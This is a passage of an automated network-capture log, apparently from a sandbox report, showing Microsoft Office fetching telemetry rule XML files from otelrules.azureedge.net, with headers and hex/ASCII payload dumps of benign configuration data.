20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054020Z-185f5d8b95c5lcmhhC1NYCsnsw00000009vg00000000bb7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054020Z-185f5d8b95csp6jmhC1NYCwy6s00000009t0000000006qt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054020Z-1777c6cb754gvvgfhC1TEBz4rg000000094000000000m280 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054020Z-r1d97b99577hsvhhhC1TEByb1w00000002p000000000d83d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054020Z-r1d97b99577hc74hhC1TEBvbns00000008d0000000000hch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e563634e-601e-000d-3bed-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054021Z-185f5d8b95c4hl5whC1NYCeex000000009rg000000008ysu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e592c5af-601e-000d-69fb-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054021Z-1777c6cb7549x5qchC1TEBggbg00000009a0000000001pwy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054021Z-r1d97b995777mdbwhC1TEBezag00000008cg00000000a1y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054021Z-r1d97b995778dpcthC1TEB4b5400000008ag00000000869s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054021Z-185f5d8b95cmd8vfhC1NYC0g4000000005sg000000002dg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49719	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
